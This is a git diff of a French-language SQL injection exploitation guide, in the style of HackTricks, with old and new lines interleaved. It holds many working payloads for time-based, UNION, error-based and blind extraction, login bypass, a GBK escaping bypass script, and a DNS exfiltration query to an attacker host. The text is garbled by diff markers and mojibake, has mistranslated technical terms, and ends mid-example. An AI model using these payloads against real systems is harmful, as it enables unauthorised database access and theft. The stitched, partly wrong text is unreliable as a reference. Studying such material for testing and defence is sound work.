{% file src="../../.gitbook/assets/sqli-logic.txt" %}
|
||||||
|
|
||||||
### Confirmation avec le temps
|
### Confirmation avec le Timing
|
||||||
|
|
||||||
Dans certains cas, vous **ne remarquerez aucun changement** sur la page que vous testez. Par conséquent, une bonne façon de **découvrir les injections SQL aveugles** est de faire effectuer des actions à la base de données qui auront un **impact sur le temps** nécessaire au chargement de la page.\
|
Dans certains cas, vous **ne remarquerez aucun changement** sur la page que vous testez. Par conséquent, une bonne façon de **découvrir les injections SQL aveugles** est de faire effectuer des actions à la base de données qui auront un **impact sur le temps** nécessaire au chargement de la page.\
|
||||||
Par conséquent, nous allons concaténer dans la requête SQL une opération qui prendra beaucoup de temps pour se terminer :
|
Ainsi, nous allons concaténer dans la requête SQL une opération qui prendra beaucoup de temps à se terminer:
|
||||||
```
|
```
|
||||||
MySQL (string concat and logical ops)
|
MySQL (string concat and logical ops)
|
||||||
1' + sleep(10)
|
1' + sleep(10)
|
||||||
|
@ -112,11 +111,11 @@ SQLite
|
||||||
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
|
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
|
||||||
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
|
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
|
||||||
```
|
```
|
||||||
Dans certains cas, les **fonctions de sommeil ne seront pas autorisées**. Dans ce cas, au lieu d'utiliser ces fonctions, vous pouvez faire en sorte que la requête effectue des opérations complexes qui prendront plusieurs secondes. _Des exemples de ces techniques seront commentés séparément pour chaque technologie (le cas échéant)_.
|
Dans certains cas, les **fonctions de sommeil ne seront pas autorisées**. Au lieu d'utiliser ces fonctions, vous pourriez faire en sorte que la requête **effectue des opérations complexes** qui prendront plusieurs secondes. _Des exemples de ces techniques seront commentés séparément sur chaque technologie (le cas échéant)_.
|
||||||
|
|
||||||
### Identification du back-end
|
### Identification du back-end
|
||||||
|
|
||||||
La meilleure façon d'identifier le back-end est d'essayer d'exécuter des fonctions des différents back-ends. Vous pouvez utiliser les **fonctions de sommeil** de la section précédente ou celles-ci :
|
La meilleure façon d'identifier le back-end est d'essayer d'exécuter des fonctions des différents back-ends. Vous pourriez utiliser les _**fonctions de sommeil**_ de la section précédente ou celles-ci (tableau provenant de [payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification):
|
||||||
```bash
|
```bash
|
||||||
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
|
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
|
||||||
["connection_id()=connection_id()" ,"MYSQL"],
|
["connection_id()=connection_id()" ,"MYSQL"],
|
||||||
|
@ -144,17 +143,17 @@ La meilleure façon d'identifier le back-end est d'essayer d'exécuter des fonct
|
||||||
["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
|
["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
|
||||||
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
|
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
|
||||||
```
|
```
|
||||||
De plus, si vous avez accès à la sortie de la requête, vous pouvez faire en sorte qu'elle **affiche la version de la base de données**.
|
De plus, si vous avez accès à la sortie de la requête, vous pourriez **faire afficher la version de la base de données**.
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
Dans la suite, nous allons discuter de différentes méthodes pour exploiter différents types d'injections SQL. Nous utiliserons MySQL comme exemple.
|
Nous allons discuter de différentes méthodes pour exploiter différents types d'injections SQL. Nous utiliserons MySQL comme exemple.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### Identification avec PortSwigger
|
### Identification avec PortSwigger
|
||||||
|
|
||||||
{% embed url="https://portswigger.net/web-security/sql-injection/cheat-sheet" %}
|
{% embed url="https://portswigger.net/web-security/sql-injection/cheat-sheet" %}
|
||||||
|
|
||||||
## Exploitation basée sur Union
|
## Exploitation basée sur l'Union
|
||||||
|
|
||||||
### Détection du nombre de colonnes
|
### Détection du nombre de colonnes
|
||||||
|
|
||||||
|
@ -164,13 +163,13 @@ Deux méthodes sont généralement utilisées à cette fin :
|
||||||
|
|
||||||
#### Order/Group by
|
#### Order/Group by
|
||||||
|
|
||||||
Continuez à incrémenter le nombre jusqu'à ce que vous obteniez une réponse fausse. Bien que GROUP BY et ORDER BY aient des fonctionnalités différentes en SQL, ils peuvent tous deux être utilisés de la même manière pour déterminer le nombre de colonnes dans la requête.
|
Pour déterminer le nombre de colonnes dans une requête, ajustez progressivement le nombre utilisé dans les clauses **ORDER BY** ou **GROUP BY** jusqu'à ce qu'une réponse fausse soit reçue. Malgré les fonctionnalités distinctes de **GROUP BY** et **ORDER BY** dans SQL, les deux peuvent être utilisés de manière identique pour déterminer le nombre de colonnes de la requête.
|
||||||
```sql
|
```sql
|
||||||
1' ORDER BY 1--+ #True
|
1' ORDER BY 1--+ #True
|
||||||
1' ORDER BY 2--+ #True
|
1' ORDER BY 2--+ #True
|
||||||
1' ORDER BY 3--+ #True
|
1' ORDER BY 3--+ #True
|
||||||
1' ORDER BY 4--+ #False - Query is only using 3 columns
|
1' ORDER BY 4--+ #False - Query is only using 3 columns
|
||||||
#-1' UNION SELECT 1,2,3--+ True
|
#-1' UNION SELECT 1,2,3--+ True
|
||||||
```
|
```
|
||||||
|
|
||||||
```sql
|
```sql
|
||||||
|
@ -178,7 +177,7 @@ Continuez à incrémenter le nombre jusqu'à ce que vous obteniez une réponse f
|
||||||
1' GROUP BY 2--+ #True
|
1' GROUP BY 2--+ #True
|
||||||
1' GROUP BY 3--+ #True
|
1' GROUP BY 3--+ #True
|
||||||
1' GROUP BY 4--+ #False - Query is only using 3 columns
|
1' GROUP BY 4--+ #False - Query is only using 3 columns
|
||||||
#-1' UNION SELECT 1,2,3--+ True
|
#-1' UNION SELECT 1,2,3--+ True
|
||||||
```
|
```
|
||||||
#### UNION SELECT
|
#### UNION SELECT
|
||||||
|
|
||||||
|
@ -188,11 +187,9 @@ Sélectionnez de plus en plus de valeurs nulles jusqu'à ce que la requête soit
|
||||||
1' UNION SELECT null,null-- - Not working
|
1' UNION SELECT null,null-- - Not working
|
||||||
1' UNION SELECT null,null,null-- - Worked
|
1' UNION SELECT null,null,null-- - Worked
|
||||||
```
|
```
|
||||||
_Vous devriez utiliser des valeurs `null` car dans certains cas, le type des colonnes des deux côtés de la requête doit être le même et null est valide dans tous les cas._
|
### Extraire les noms de base de données, les noms de table et les noms de colonnes
|
||||||
|
|
||||||
### Extraire les noms de la base de données, les noms de table et les noms de colonne
|
Dans les exemples suivants, nous allons récupérer le nom de toutes les bases de données, le nom de la table d'une base de données, les noms des colonnes de la table:
|
||||||
|
|
||||||
Dans les exemples suivants, nous allons récupérer le nom de toutes les bases de données, le nom de la table d'une base de données, les noms de colonnes de la table :
|
|
||||||
```sql
|
```sql
|
||||||
#Database names
|
#Database names
|
||||||
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
|
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
|
||||||
|
@ -203,52 +200,53 @@ Dans les exemples suivants, nous allons récupérer le nom de toutes les bases d
|
||||||
#Column names
|
#Column names
|
||||||
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
|
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
|
||||||
```
|
```
|
||||||
Il existe une méthode différente pour découvrir ces données sur chaque base de données différente, mais la méthodologie est toujours la même.
|
_Il existe une manière différente de découvrir ces données sur chaque base de données, mais la méthodologie reste toujours la même._
|
||||||
|
|
||||||
## Exploitation de l'injection basée sur Union cachée
|
## Exploitation de l'injection basée sur l'union cachée
|
||||||
|
|
||||||
Si vous pouvez voir la sortie de la requête mais que vous ne pouvez pas réaliser une injection basée sur Union, vous êtes confronté à une injection basée sur Union cachée.\
|
Lorsque la sortie d'une requête est visible, mais qu'une injection basée sur l'union semble impossible, cela signifie la présence d'une **injection basée sur l'union cachée**. Ce scénario conduit souvent à une situation d'injection aveugle. Pour transformer une injection aveugle en une injection basée sur l'union, il est nécessaire de comprendre la requête d'exécution côté serveur.
|
||||||
Dans cette situation, vous vous retrouvez avec une injection aveugle. Pour transformer l'injection aveugle en une injection basée sur Union, vous devez extraire la requête qui est exécutée sur le backend.\
|
|
||||||
Vous pouvez le faire en utilisant l'injection aveugle et les tables par défaut de votre DBMS cible. Pour en savoir plus sur ces tables par défaut, lisez la documentation de votre DBMS cible.\
|
|
||||||
Après avoir extrait la requête, vous devez ajuster votre charge utile en conséquence, en fermant la requête d'origine en toute sécurité. Ensuite, ajoutez une requête d'union à votre charge utile et commencez à exploiter l'injection basée sur Union nouvellement obtenue.
|
|
||||||
|
|
||||||
Article complet : https://medium.com/@Rend\_/healing-blind-injections-df30b9e0e06f
|
Cela peut être réalisé en utilisant des techniques d'injection aveugle en conjonction avec les tables par défaut spécifiques à votre Système de Gestion de Base de Données (SGBD) cible. Pour comprendre ces tables par défaut, il est conseillé de consulter la documentation du SGBD cible.
|
||||||
|
|
||||||
|
Une fois que la requête a été extraite, il est nécessaire d'adapter votre charge utile pour fermer en toute sécurité la requête d'origine. Ensuite, une requête d'union est ajoutée à votre charge utile, facilitant l'exploitation de la nouvelle injection basée sur l'union accessible.
|
||||||
|
|
||||||
|
Pour des informations plus détaillées, consultez l'article complet disponible sur [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f).
|
||||||
|
|
||||||
## Exploitation basée sur les erreurs
|
## Exploitation basée sur les erreurs
|
||||||
|
|
||||||
Si pour une raison quelconque vous **ne pouvez pas** voir la **sortie** de la **requête** mais que vous pouvez **voir les messages d'erreur**, vous pouvez utiliser ces messages d'erreur pour **extraire** des données de la base de données.\
|
Si, pour une raison quelconque, vous **ne pouvez pas** voir la **sortie** de la **requête** mais que vous pouvez **voir les messages d'erreur**, vous pouvez utiliser ces messages d'erreur pour **exfiltrer** des données de la base de données.\
|
||||||
En suivant un flux similaire à l'exploitation basée sur Union, vous pourriez réussir à vider la base de données.
|
En suivant un flux similaire à l'exploitation basée sur l'union, vous pourriez réussir à extraire la base de données.
|
||||||
```sql
|
```sql
|
||||||
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
|
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
|
||||||
```
|
```
|
||||||
## Exploitation de Blind SQLi
|
## Exploiter les injections SQL aveugles
|
||||||
|
|
||||||
Dans ce cas, vous ne pouvez pas voir les résultats de la requête ou les erreurs, mais vous pouvez **distinguer** quand la requête **renvoie** une réponse **vraie** ou **fausse** car il y a différents contenus sur la page.\
|
Dans ce cas, vous ne pouvez pas voir les résultats de la requête ou les erreurs, mais vous pouvez distinguer quand la requête renvoie une réponse vraie ou fausse car il y a différents contenus sur la page.\
|
||||||
Dans ce cas, vous pouvez abuser de ce comportement pour vider la base de données caractère par caractère :
|
Dans ce cas, vous pouvez abuser de ce comportement pour extraire la base de données caractère par caractère :
|
||||||
```sql
|
```sql
|
||||||
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
|
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
|
||||||
```
|
```
|
||||||
## Exploitation d'une injection SQL aveugle basée sur les erreurs
|
## Exploiter les injections SQL en aveugle basées sur les erreurs
|
||||||
|
|
||||||
Il s'agit du **même cas que précédemment**, mais au lieu de distinguer entre une réponse vraie/fausse de la requête, vous pouvez distinguer entre une **erreur** dans la requête SQL ou non (peut-être parce que le serveur HTTP plante). Par conséquent, dans ce cas, vous pouvez forcer une erreur SQL chaque fois que vous devinez correctement le caractère :
|
Il s'agit du **même cas que précédemment** mais au lieu de distinguer entre une réponse vraie/fausse de la requête, vous pouvez **distinguer entre** une **erreur** dans la requête SQL ou non (peut-être parce que le serveur HTTP plante). Par conséquent, dans ce cas, vous pouvez forcer une erreur SQL à chaque fois que vous devinez correctement le caractère :
|
||||||
```sql
|
```sql
|
||||||
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
|
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
|
||||||
```
|
```
|
||||||
## Exploitation de l'injection SQL basée sur le temps
|
## Exploiter de l'injection SQL basée sur le temps
|
||||||
|
|
||||||
Dans ce cas, il n'y a **aucun moyen de distinguer** la **réponse** de la requête en fonction du contexte de la page. Cependant, vous pouvez faire en sorte que la page **mette plus de temps à se charger** si le caractère deviné est correct. Nous avons déjà vu cette technique utilisée auparavant pour [confirmer une vulnérabilité SQLi](./#confirming-with-timing).
|
Dans ce cas, il **n'y a pas** de moyen de **distinguer** la **réponse** de la requête en fonction du contexte de la page. Cependant, vous pouvez faire en sorte que la page **mette plus de temps à se charger** si le caractère deviné est correct. Nous avons déjà vu cette technique utilisée précédemment pour [confirmer une vulnérabilité SQLi](./#confirming-with-timing).
|
||||||
```sql
|
```sql
|
||||||
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
|
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
|
||||||
```
|
```
|
||||||
## Requêtes empilées
|
## Requêtes imbriquées
|
||||||
|
|
||||||
Vous pouvez utiliser des requêtes empilées pour **exécuter plusieurs requêtes successives**. Notez que bien que les requêtes suivantes soient exécutées, les **résultats ne sont pas renvoyés à l'application**. Par conséquent, cette technique est principalement utile en relation avec les **vulnérabilités aveugles** où vous pouvez utiliser une deuxième requête pour déclencher une recherche DNS, une erreur conditionnelle ou un délai de temps.
|
Vous pouvez utiliser des requêtes imbriquées pour **exécuter plusieurs requêtes successives**. Notez que bien que les requêtes suivantes soient exécutées, les **résultats** ne sont **pas renvoyés à l'application**. Par conséquent, cette technique est principalement utile en relation avec les **vulnérabilités aveugles** où vous pouvez utiliser une deuxième requête pour déclencher une recherche DNS, une erreur conditionnelle ou un retard temporel.
|
||||||
|
|
||||||
**Oracle** ne prend pas en charge les **requêtes empilées**. **MySQL, Microsoft** et **PostgreSQL** les prennent en charge : `REQUÊTE-1-ICI; REQUÊTE-2-ICI`
|
**Oracle** ne prend pas en charge les **requêtes imbriquées**. **MySQL, Microsoft** et **PostgreSQL** les prennent en charge : `REQUETE-1-ICI; REQUETE-2-ICI`
|
||||||
|
|
||||||
## Exploitation hors bande
|
## Exploitation hors bande
|
||||||
|
|
||||||
Si **aucune autre** méthode d'exploitation **n'a fonctionné**, vous pouvez essayer de faire en sorte que la **base de données exfiltre** les informations vers un **hôte externe** contrôlé par vous. Par exemple, via des requêtes DNS :
|
Si **aucune autre** méthode d'exploitation n'a **fonctionné**, vous pouvez essayer de faire en sorte que la **base de données exfiltre** les informations vers un **hôte externe** contrôlé par vous. Par exemple, via des requêtes DNS :
|
||||||
```sql
|
```sql
|
||||||
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
|
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
|
||||||
```
|
```
|
||||||
|
@ -258,11 +256,11 @@ a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DO
|
||||||
```
|
```
|
||||||
## Exploitation Automatisée
|
## Exploitation Automatisée
|
||||||
|
|
||||||
Consultez la [SQLMap Cheetsheat](sqlmap/) pour exploiter une vulnérabilité SQLi avec [**sqlmap**](https://github.com/sqlmapproject/sqlmap).
|
Consultez la [Feuille de triche SQLMap](sqlmap/) pour exploiter une vulnérabilité SQLi avec [**sqlmap**](https://github.com/sqlmapproject/sqlmap).
|
||||||
|
|
||||||
## Informations spécifiques à la technologie
|
## Informations Techniques Spécifiques
|
||||||
|
|
||||||
Nous avons déjà discuté de toutes les façons d'exploiter une vulnérabilité d'injection SQL. Trouvez d'autres astuces dépendantes de la technologie de base de données dans ce livre :
|
Nous avons déjà discuté de toutes les façons d'exploiter une vulnérabilité d'injection SQL. Découvrez quelques astuces supplémentaires dépendantes de la technologie de base de données dans ce livre :
|
||||||
|
|
||||||
* [MS Access](ms-access-sql-injection.md)
|
* [MS Access](ms-access-sql-injection.md)
|
||||||
* [MSSQL](mssql-injection.md)
|
* [MSSQL](mssql-injection.md)
|
||||||
|
@ -276,11 +274,11 @@ Ou vous trouverez **beaucoup d'astuces concernant : MySQL, PostgreSQL, Oracle, M
|
||||||
|
|
||||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
[**RootedCON**](https://www.rootedcon.com/) est l'événement de cybersécurité le plus pertinent en **Espagne** et l'un des plus importants en **Europe**. Avec **pour mission de promouvoir les connaissances techniques**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans toutes les disciplines.
|
[**RootedCON**](https://www.rootedcon.com/) est l'événement le plus pertinent en matière de cybersécurité en **Espagne** et l'un des plus importants en **Europe**. Avec **la mission de promouvoir les connaissances techniques**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans chaque discipline.
|
||||||
|
|
||||||
{% embed url="https://www.rootedcon.com/" %}
|
{% embed url="https://www.rootedcon.com/" %}
|
||||||
|
|
||||||
## Contournement de l'authentification
|
## Contournement de l'Authentification
|
||||||
|
|
||||||
Liste pour essayer de contourner la fonctionnalité de connexion :
|
Liste pour essayer de contourner la fonctionnalité de connexion :
|
||||||
|
|
||||||
|
@ -288,30 +286,27 @@ Liste pour essayer de contourner la fonctionnalité de connexion :
|
||||||
[sql-login-bypass.md](../login-bypass/sql-login-bypass.md)
|
[sql-login-bypass.md](../login-bypass/sql-login-bypass.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
### Contournement de l'authentification (MD5 brut)
|
### Contournement de l'Authentification de Hachage Brut
|
||||||
|
|
||||||
Lorsqu'un MD5 brut est utilisé, le mot de passe sera interrogé en tant que simple chaîne, pas en tant que chaîne hexadécimale.
|
|
||||||
```sql
|
```sql
|
||||||
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
|
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
|
||||||
```
|
```
|
||||||
Permettre à un attaquant de créer une chaîne avec une déclaration `true` telle que `' or 'QUELQUECHOSE`.
|
Ce query montre une vulnérabilité lorsque MD5 est utilisé avec true pour la sortie brute dans les vérifications d'authentification, rendant le système vulnérable aux injections SQL. Les attaquants peuvent exploiter cela en créant des entrées qui, une fois hachées, produisent des parties de commandes SQL inattendues, entraînant un accès non autorisé.
|
||||||
```sql
|
```sql
|
||||||
md5("ffifdyop", true) = 'or'6<>]<5D><>!r,<2C><>b<EFBFBD>
|
md5("ffifdyop", true) = 'or'6<>]<5D><>!r,<2C><>b<EFBFBD>
|
||||||
|
sha1("3fDf ", true) = Q<>u'='<27>@<40>[<5B>t<EFBFBD>- o<><6F>_-!
|
||||||
```
|
```
|
||||||
Le défi est disponible sur [http://web.jarvisoj.com:32772](http://web.jarvisoj.com:32772)
|
### Contournement de l'authentification par hachage injecté
|
||||||
|
|
||||||
### Contournement de l'authentification par hachage
|
|
||||||
```sql
|
```sql
|
||||||
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
|
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
|
||||||
```
|
```
|
||||||
**Liste recommandée**:
|
**Liste recommandée**:
|
||||||
|
|
||||||
Vous devriez utiliser chaque ligne de la liste comme nom d'utilisateur et toujours utiliser le mot de passe: _**Pass1234.**_\
|
Vous devriez utiliser comme nom d'utilisateur chaque ligne de la liste et comme mot de passe toujours: _**Pass1234.**_\
|
||||||
_(Ces charges utiles sont également incluses dans la grande liste mentionnée au début de cette section)_
|
_(Ces charges utiles sont également incluses dans la grande liste mentionnée au début de cette section)_
|
||||||
|
|
||||||
{% file src="../../.gitbook/assets/sqli-hashbypass.txt" %}
|
{% file src="../../.gitbook/assets/sqli-hashbypass.txt" %}
|
||||||
|
|
||||||
### Contournement d'authentification GBK
|
### Contournement de l'authentification GBK
|
||||||
|
|
||||||
SI ' est échappé, vous pouvez utiliser %A8%27, et lorsque ' est échappé, il sera créé: 0xA80x5c0x27 (_╘'_)
|
SI ' est échappé, vous pouvez utiliser %A8%27, et lorsque ' est échappé, il sera créé: 0xA80x5c0x27 (_╘'_)
|
||||||
```sql
|
```sql
|
||||||
|
@ -322,36 +317,13 @@ SI ' est échappé, vous pouvez utiliser %A8%27, et lorsque ' est échappé, il
|
||||||
Script Python :
|
Script Python :
|
||||||
```python
|
```python
|
||||||
import requests
|
import requests
|
||||||
url = "http://example.com/index.php"
|
url = "http://example.com/index.php"
|
||||||
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
|
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
|
||||||
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
|
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
|
||||||
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
|
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
|
||||||
print r.text
|
print r.text
|
||||||
```
|
```
|
||||||
### Injection polyglotte (multicontexte)
|
### Injection polyglotte (multicontexte)
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
#### Description
|
|
||||||
|
|
||||||
A polyglot injection is an injection that works in more than one context. For example, a polyglot injection can be a SQL injection that works in both MySQL and MSSQL.
|
|
||||||
|
|
||||||
#### How to create a polyglot injection
|
|
||||||
|
|
||||||
To create a polyglot injection, you need to find a string that is valid in multiple contexts. For example, the string `1' OR '1'='1` is valid in both MySQL and MSSQL.
|
|
||||||
|
|
||||||
#### Example
|
|
||||||
|
|
||||||
```sql
|
|
||||||
SELECT * FROM users WHERE username='admin'--' AND password='1' OR '1'='1';
|
|
||||||
SELECT * FROM users WHERE username='admin'--' AND password='' OR '1'='1';
|
|
||||||
```
|
|
||||||
|
|
||||||
In the example above, the injection `--' AND password='1' OR '1'='1` works in MySQL, while the injection `--' AND password='' OR '1'='1` works in MSSQL.
|
|
||||||
|
|
||||||
#### References
|
|
||||||
|
|
||||||
- [Polyglot Injection](https://www.owasp.org/index.php/Polyglot_Injection) (OWASP)
|
|
||||||
```sql
|
```sql
|
||||||
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
|
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
|
||||||
```
|
```
|
||||||
|
@ -359,48 +331,49 @@ SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
|
||||||
|
|
||||||
### Modifier le mot de passe d'un objet/utilisateur existant
|
### Modifier le mot de passe d'un objet/utilisateur existant
|
||||||
|
|
||||||
Pour ce faire, vous devriez essayer de **créer un nouvel objet nommé comme l'objet "maître"** (probablement **admin** dans le cas des utilisateurs) en modifiant quelque chose :
|
Pour ce faire, vous devriez essayer de **créer un nouvel objet nommé comme l' "objet principal"** (probablement **admin** dans le cas des utilisateurs) en modifiant quelque chose :
|
||||||
|
|
||||||
* Créer un utilisateur nommé : **AdMIn** (lettres majuscules et minuscules)
|
* Créez un utilisateur nommé : **AdMIn** (lettres majuscules et minuscules)
|
||||||
* Créer un utilisateur nommé : **admin=**
|
* Créez un utilisateur nommé : **admin=**
|
||||||
* **Attaque de troncature SQL** (lorsqu'il y a une sorte de **limite de longueur** dans le nom d'utilisateur ou l'e-mail) --> Créer un utilisateur avec le nom : **admin \[beaucoup d'espaces] a**
|
* **Attaque de Troncature SQL** (lorsqu'il y a une sorte de **limite de longueur** dans le nom d'utilisateur ou l'e-mail) --> Créez un utilisateur avec le nom : **admin \[beaucoup d'espaces] a**
|
||||||
|
|
||||||
#### Attaque de troncature SQL
|
#### Attaque de Troncature SQL
|
||||||
|
|
||||||
Si la base de données est vulnérable et que le nombre maximal de caractères pour le nom d'utilisateur est par exemple de 30 et que vous voulez vous faire passer pour l'utilisateur **admin**, essayez de créer un nom d'utilisateur appelé : "_admin \[30 espaces] a_" et n'importe quel mot de passe.
|
Si la base de données est vulnérable et que le nombre maximal de caractères pour le nom d'utilisateur est par exemple de 30 et que vous voulez vous faire passer pour l'utilisateur **admin**, essayez de créer un nom d'utilisateur appelé : "_admin \[30 espaces] a_" et n'importe quel mot de passe.
|
||||||
|
|
||||||
La base de données **vérifiera** si le **nom d'utilisateur** **introduit existe** dans la base de données. Si ce n'est pas le cas, elle **coupera** le **nom d'utilisateur** au **nombre maximal de caractères autorisés** (dans ce cas, "_admin \[25 espaces]_") et elle **supprimera automatiquement tous les espaces à la fin en mettant à jour** dans la base de données l'utilisateur "**admin**" avec le **nouveau mot de passe** (une erreur pourrait apparaître, mais cela ne signifie pas que cela n'a pas fonctionné).
|
La base de données va **vérifier** si le **nom d'utilisateur** **introduit** **existe** dans la base de données. Si ce n'est pas le cas, elle va **tronquer** le **nom d'utilisateur** au **nombre maximal de caractères autorisé** (dans ce cas à : "_admin \[25 espaces]_") et elle va **automatiquement supprimer tous les espaces à la fin en mettant à jour** dans la base de données l'utilisateur "**admin**" avec le **nouveau mot de passe** (une erreur pourrait apparaître mais cela ne signifie pas que cela n'a pas fonctionné).
|
||||||
|
|
||||||
Plus d'informations : [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
|
Plus d'informations : [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
|
||||||
|
|
||||||
_Remarque : Cette attaque ne fonctionnera plus comme décrit ci-dessus dans les dernières installations MySQL. Bien que les comparaisons ignorent toujours les espaces de fin par défaut, toute tentative d'insérer une chaîne qui est plus longue que la longueur d'un champ entraînera une erreur et l'insertion échouera. Pour plus d'informations à ce sujet, consultez_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)\_\_
|
_Remarque : Cette attaque ne fonctionnera plus comme décrit ci-dessus dans les dernières installations MySQL. Bien que les comparaisons ignorent toujours les espaces de fin par défaut, tenter d'insérer une chaîne plus longue que la longueur d'un champ entraînera une erreur et l'insertion échouera. Pour plus d'informations sur cette vérification : [https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)_
|
||||||
|
|
||||||
### Vérification basée sur le temps d'insertion MySQL
|
### Vérification basée sur le temps d'insertion MySQL
|
||||||
|
|
||||||
Ajoutez autant de `','',''` que vous le jugez nécessaire pour sortir de l'instruction VALUES. Si le délai est exécuté, vous avez une injection SQL.
|
Ajoutez autant de `','',''` que vous estimez nécessaire pour sortir de l'instruction VALUES. Si un retard est exécuté, vous avez une injection SQL.
|
||||||
```sql
|
```sql
|
||||||
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
|
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
|
||||||
```
|
```
|
||||||
### ON DUPLICATE KEY UPDATE
|
### SUR LA MISE À JOUR DE LA CLÉ EN DOUBLE
|
||||||
|
|
||||||
Les mots-clés ON DUPLICATE KEY UPDATE sont utilisés pour indiquer à MySQL quoi faire lorsque l'application tente d'insérer une ligne qui existe déjà dans la table. Nous pouvons l'utiliser pour changer le mot de passe de l'administrateur en:
|
La clause `ON DUPLICATE KEY UPDATE` en MySQL est utilisée pour spécifier les actions à effectuer par la base de données lorsqu'une tentative est faite pour insérer une ligne qui entraînerait une valeur en double dans un index UNIQUE ou une CLÉ PRIMAIRE. L'exemple suivant démontre comment cette fonctionnalité peut être exploitée pour modifier le mot de passe d'un compte administrateur :
|
||||||
|
|
||||||
|
Exemple d'injection de charge utile :
|
||||||
|
|
||||||
|
